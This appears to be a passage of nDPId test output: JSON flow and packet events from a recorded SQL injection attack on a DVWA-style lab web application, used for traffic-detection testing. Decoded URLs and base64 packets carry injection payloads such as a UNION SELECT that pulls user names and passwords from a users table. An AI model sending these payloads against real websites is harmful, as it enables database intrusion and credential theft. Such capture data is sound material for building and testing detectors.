+00847{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1499348467295,"flow_last_seen":1499348467296,"flow_tot_l4_data_len":743,"flow_min_l4_data_len":32,"flow_max_l4_data_len":631,"flow_avg_l4_data_len":185,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36204,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27+and+1%3D1+union+select+user%2C+password+from+users%23&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348467,"pkt_ts_usec":296825,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pf1AAEAGHdvAqAoyrBAAAQBQjWwuedQkF8yZLoAQAOymKgAAAQEICgPocdkBPqBm"} +03172{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348467,"pkt_ts_usec":301106,"pkt_caplen":2087,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2087,"pkt_l4_len":2053,"pkt":"AMGxFOsxABm5CmnxCABFAAgZpf5AAEAGFfXAqAoyrBAAAQBQjWwuedQkF8yZLoAYAOx+9wAAAQEICgPocdoBPqBmSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQxOjA3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTY2OQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAO1WG1v2zgS\/pwC\/Q88LnBtF2fRsuu3nK1FEjeXAOlurk7aPeAAg5JGMRtJVEXKju\/X35CSbeWtrtcNEMQUOS8PZ0jOQ75+Nfzb+I+Tq\/9cfiAzncTk8vr44vyE0AZjX9onjI2vxuTPs6uPF8R1mmSicxFoxj78TgmdaZ0dMrZYLJxF25H5Dbv6xO6MFdeoVc2GsjpOqEPqvX71+tXQ+rlL4lSNnrDhDgaDUrUUPxjOgIfYPDgYJqA5MSoN+FaI+YieyFRDqhtXywwoCcqvEdVwp5kx8U8SzHiuQI+ur04bfUpYafNgqIWOwftcxCnk3Bex0MtDMvn3BTlPv0KghUzJ4SEZ8yQlK6EYyBfwyVGWxSLgVuTt+POXo3dk7jpuk\/w6hjnEMksQw69DVnqo3MUivSU5xCOq9DIGNQPQlGiEXaENlKJklkM0oo7D8C+cL7jpZQkXqWOH2WNrAue8svNfkfAbYNh131LE50bMsQNrGyrIRabrEL7yOS97KVF5cA\/IV2V\/L9GB81VRb8hKySpFrMqRafsyXJIg5sqkVyZAy9yFYk5EOKImSTgjyKv01oaMkVr\/wVAkN4+Q2EkqFssb6WTpDSU8xoxvSdRm3ogV3T1ybYI8xcQVNe+PxqYZD0MIywmhQBGv5mlGj2MZ3JrQxILINEDXtyO6EGkoFw4OWRyjN+VMnDd0pYoK\/F66HOqdYdiGjGOUY+G9+hGDIsVtVth1q5xsln3H\/kNR6p3XenZzizuryLb4W8tQb2KahJFPgJ1kfFxzxorY2yOg89pGFrg8\/LzQwL6D6mkF6h2bX3Iq82DHDDw0CHcQ7ALAylPvRCYJT8PNMbQfikDl0S4orDyimHw63c9xJJjzW4ZbdSRQswhhyyr5IX3qnQrc3OemR+0dmyKLJQ93iU6lUcG4tl975odnGkvUTimqVOy+haDIgZwcXV6dnB3tB0V9i0UNh4IYF6A57bbgsXq4t+u1c38kUx+L3E7JqWk9QEPeHpvud\/uhWgC\/nYqdIK1UqPcFW2QCyqxacj7e8Zh9aPdOqelOQEoF6v05mSBn+ePjnqEw5vJd\/ecr\/58gKpfWT0ChdkWhVigmWub3IexZguxeRBq5tRxuxKhn+COui7Jrt3CgvkgjucVdTYp6l2eXuCsiuZsj7stCb3GzlqHekWn+vLAaorfV\/UaIehe2\/QBAxdjucb\/niaChsBsiiFcWM1r5NmN1Ijicud+9RiA3dktTJT2umZqv+eo0kCFMeQ68YsuRzBPCrYER\/YUSvPnMJML714erin4Os2pS1wpyPFIOK8qcZkWd1SOVF\/\/DttuhJOUJtgTifiyrCj8ReiUzqb7mPC42n5VjlnnlFYIZlCXeLAcPMRD3DTHsxR25pEjNWVeWEVIgyH+QDKe9kHlIolwmtk\/9MvRzJOenIlfaOj8kPExEWnZPirzex4ybF\/fVid6HQdD2O5z3up2w64b9dqsXgt\/vt4JoMHgBGDcoIVP\/ARAYDLjbD963+oHf7oedqNVt9jvtbq8\/aLWg2X4BIG673XuAoh+2O+122OtwaAXtQbcb9qAZvo+CoDtouV3\/BVBkuCfkAxjN0G32wuYg6vg+vG8GeFVsh9AJei4MYOD3XgCGwkU\/W\/6l1WEvxevzZThreR+x3NjDN094dS60rFh1OuFZuDnVas8iVb0AnjiBTNblI4e5gIVinfFl83f3stf94Ng3E6J5fgN4I0YqxNNb6v1lU+sT9El0Cm1C6izErcggFNy+3ZgvhqffVKxOv6fx\/KDy9xGgjQjyvJg5CZ8LXaS8nNW3uLG20AhmwLV9bWnI24I9G56dLW3FlkGqQelEprewdFLQzFpoWBP3bbNkab6f8NdYPRQ9jfon+tiebbOC5IKrzGYLizXcmYJrU3a+Pd8\/pL41qr70\/WVDm5qpbJKejc0jybrtihOUW3T13mP3efl\/VfifIQpV\/Q5i4Pm6Kj7FJtRSaUimhoGtX43qVdcvtDZBq+rsZ9yH5AzibM10MpkV2XQlJtOTkittnuoOUeI6e0ue4chmZ09naNHE+jeEZG5Jf1\/t\/FEsF2\/IO+qRragmssgD+Lm4lLW5DZmJJY\/FDRKhGCJkIUNIPEN67Hk8ZPhVL+NmdEWoyYV5ka1k0OJGApnw+XhSjYRCmWUSrnL4bDojKfW9B8rM2+eFOHuKitbLBjNks3w0t8\/Z3v8BD9S4i68XAAA="} +00431{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348467,"pkt_ts_usec":301783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NrNAAD4GjyWsEAABwKgKMo1sAFAXzJkuLnncCYAQAQSeKgAAAQEICgE+oGgD6HHa"} +00431{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348472,"pkt_ts_usec":301832,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pgBAAEAGHdjAqAoyrBAAAQBQjWwuedwJF8yZLoARAOyZXwAAAQEICgPodrwBPqBo"} +00431{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348472,"pkt_ts_usec":302316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NrRAAD4GjySsEAABwKgKMo1sAFAXzJkuLnncCoARAQSUZAAAAQEICgE+pUoD6Ha8"} +00432{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348472,"pkt_ts_usec":302394,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pgFAAEAGHdfAqAoyrBAAAQBQjWwuedwKF8yZL4AQAOyUewAAAQEICgPodr0BPqVK"} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":53,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":11,"flow_first_seen":1499348407419,"flow_last_seen":1499348412425,"flow_tot_l4_data_len":1345,"flow_min_l4_data_len":32,"flow_max_l4_data_len":562,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36196,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":53,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":10,"flow_first_seen":1499348413192,"flow_last_seen":1499348418262,"flow_tot_l4_data_len":2636,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1872,"flow_avg_l4_data_len":263,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36198,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1499348480992,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36206,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348480,"pkt_ts_usec":992304,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8IqhAAD4GoyisEAABwKgKMo1uAFBrxY9uAAAAAKACchAnDQAAAgQFtAQCCAoBPq3GAAAAAAEDAwc="} +00443{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348480,"pkt_ts_usec":992428,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjW5ct+zHa8WPb6AScSBbSwAAAgQFtAQCCAoD6H85AT6txgEDAwc="} +00431{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348480,"pkt_ts_usec":993219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IqlAAD4Goy+sEAABwKgKMo1uAFBrxY9vXLfsyIAQAOX6UQAAAQEICgE+rccD6H85"} +01137{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348480,"pkt_ts_usec":993268,"pkt_caplen":589,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":589,"pkt_l4_len":555,"pkt":"ABm5CmnxAMGxFOsxCABFAAI\/IqpAAD4GoSOsEAABwKgKMo1uAFBrxY9vXLfsyIAYAOUZWQAAAQEICgE+rccD6H85R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNyZTdWJtaXQ9U3VibWl0IEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDErdW5pb24rc2VsZWN0K3VzZXIlMkMrcGFzc3dvcmQrZnJvbSt1c2VycyUyMyZTdWJtaXQ9U3VibWl0DQpDb29raWU6IHNlY3VyaXR5PWxvdzsgUEhQU0VTU0lEPTVkZmN1aDg1a2cwdnZpZGY4bnJzanRib2I1DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00793{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":56,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1499348480992,"flow_last_seen":1499348480993,"flow_tot_l4_data_len":667,"flow_min_l4_data_len":32,"flow_max_l4_data_len":555,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36206,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348480,"pkt_ts_usec":993311,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0k\/FAAEAGL+fAqAoyrBAAAQBQjW5ct+zIa8WReoAQAOv4QAAAAQEICgPofzkBPq3H"} +01144{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348480,"pkt_ts_usec":996075,"pkt_caplen":596,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":596,"pkt_l4_len":562,"pkt":"AMGxFOsxABm5CmnxCABFAAJGk\/JAAEAGLdTAqAoyrBAAAQBQjW5ct+zIa8WReoAYAOuuZQAAAQEICgPofzoBPq3HSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQxOjIwIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTANClByYWdtYTogbm8tY2FjaGUNClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1FbmNvZGluZzogZ3ppcA0KQ29udGVudC1MZW5ndGg6IDE0MQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQofiwgAAAAAAAADLc4xDsIwDIXhq7zNI+pMxQlgQEyMVjAkotiVk1Tk9iTAYOkt3y\/Pq8vhahWRNwErxN0cSdGsOi7nI3LTwu89QpTwRImCF2vlpU8uCOYueTW9ZRT7qVP7OvFNHP1yMsW9Zwf29IjlHx2iZoEKO4gmIkJvLkkF07wbv30Aj46y+KEAAAA="} +00431{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348480,"pkt_ts_usec":996659,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IqtAAD4Goy2sEAABwKgKMo1uAFBrxZF6XLfu2oAQAO32KwAAAQEICgE+rccD6H86"} +00430{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348486,"pkt_ts_usec":1345,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0k\/NAAEAGL+XAqAoyrBAAAQBQjW5ct+7aa8WReoARAOvxSQAAAQEICgPohB0BPq3H"} +00429{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348486,"pkt_ts_usec":1932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IqxAAD4GoyysEAABwKgKMo1uAFBrxZF6XLfu24ARAO3sYgAAAQEICgE+sqsD6IQd"} +00431{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348486,"pkt_ts_usec":2003,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0k\/RAAEAGL+TAqAoyrBAAAQBQjW5ct+7ba8WRe4AQAOvsZAAAAQEICgPohB0BPrKr"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":63,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":10,"flow_first_seen":1499348422024,"flow_last_seen":1499348427063,"flow_tot_l4_data_len":2754,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1913,"flow_avg_l4_data_len":275,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36200,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1499348494345,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36208,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348494,"pkt_ts_usec":345596,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SndAAD4Ge1msEAABwKgKMo1wAFAblvCmAAAAAKACchAI9wAAAgQFtAQCCAoBPrrRAAAAAAEDAwc="} +00443{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348494,"pkt_ts_usec":345725,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjXBGdqbdG5bwp6AScSCMVgAAAgQFtAQCCAoD6IxDAT660QEDAwc="} +00431{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348494,"pkt_ts_usec":346517,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SnhAAD4Ge2CsEAABwKgKMo1wAFAblvCnRnam3oAQAOUrXgAAAQEICgE+utED6IxD"} +01151{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348494,"pkt_ts_usec":346566,"pkt_caplen":602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":602,"pkt_l4_len":568,"pkt":"ABm5CmnxAMGxFOsxCABFAAJMSnlAAD4GeUesEAABwKgKMo1wAFAblvCnRnam3oAYAOUTewAAAQEICgE+utED6IxDR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDElMjMmU3VibWl0PVN1Ym1pdCBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvdnVsbmVyYWJpbGl0aWVzL3NxbGkvP2lkPTElMjcrYW5kKzElM0QxK3VuaW9uK3NlbGVjdCt1c2VyJTJDK3Bhc3N3b3JkK2Zyb20rdXNlcnMlMjMmU3VibWl0PVN1Ym1pdA0KQ29va2llOiBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD01ZGZjdWg4NWtnMHZ2aWRmOG5yc2p0Ym9iNQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00806{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1499348494345,"flow_last_seen":1499348494346,"flow_tot_l4_data_len":680,"flow_min_l4_data_len":32,"flow_max_l4_data_len":568,"flow_avg_l4_data_len":170,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36208,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27+and+1%3D1%23&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348494,"pkt_ts_usec":346614,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KppAAEAGmT7AqAoyrBAAAQBQjXBGdqbeG5byv4AQAOspPwAAAQEICgPojEQBPrrR"} +02926{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348494,"pkt_ts_usec":350114,"pkt_caplen":1906,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1906,"pkt_l4_len":1872,"pkt":"AMGxFOsxABm5CmnxCABFAAdkKptAAEAGkg3AqAoyrBAAAQBQjXBGdqbeG5byv4AYAOt+QgAAAQEICgPojEQBPrrRSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQxOjM0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQ4OA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1v2zYQ\/pwA\/Q8cCzRtAYt1i25rJqtI7GQxkLZe7DQdMMCgJTpmTIkqSdnxfv2OlGTLiRNHc4Ag5su9PLzjHe\/0Yt\/\/pfOtPfi7d4ImJhaod3l83m0j3CDk6kObkM6gg36cDb6co6b3DvWN4qEh5OQrRnhiTHpIyHw+9+YfPKmuyeCC3FopTctWDBva8XiRiXDwYv\/Fvu\/03MYi0a0NMpqfPn3KWXPyPX\/CaATDvT0\/ZoYiy9JgPzM+a+G2TAxLTGOwSBlGYT5rYcNuDbEi\/kDhhCrNTOtycNr4HSOSy9zzDTeCBd8zkTBFR1xwszhE\/b\/OUTe5YaHhMkGHh6hD4wSVRIKhKzZCR2kqeEgdyevO96ujN2jW9Jrv0NsOmzEh0xgwvPVJrqFQJ3gyRYqJFtZmIZieMGYwMgC7QBtqjdFEsXELex6Bv2g2p3aVxJQnntsm96VxOHMp5x8e02tGYGld0pjOLJnnNpYydKh4aqoQbuiM5qsYaRWuAbnR7rcHCrwbjQOf5JSFi0jhIzseyWiBQkG1da+MGc59F\/EZ4lELWyfBiZgq3FvZskIq63s+j6\/vIXGH1ETIa+mlyTVGVIDHtzhqdW7ACuruqbZGHoLjsor2e3vDlEYRi\/IDAUEmynPa3WMhw6k1jeBIJiGonrbwnCeRnHuw5XC0DvKTeAe4ZAUGuuYuDwdnYDafULCy4MH+UwTyBMIsc\/dWe+kkfUT+XVIcdC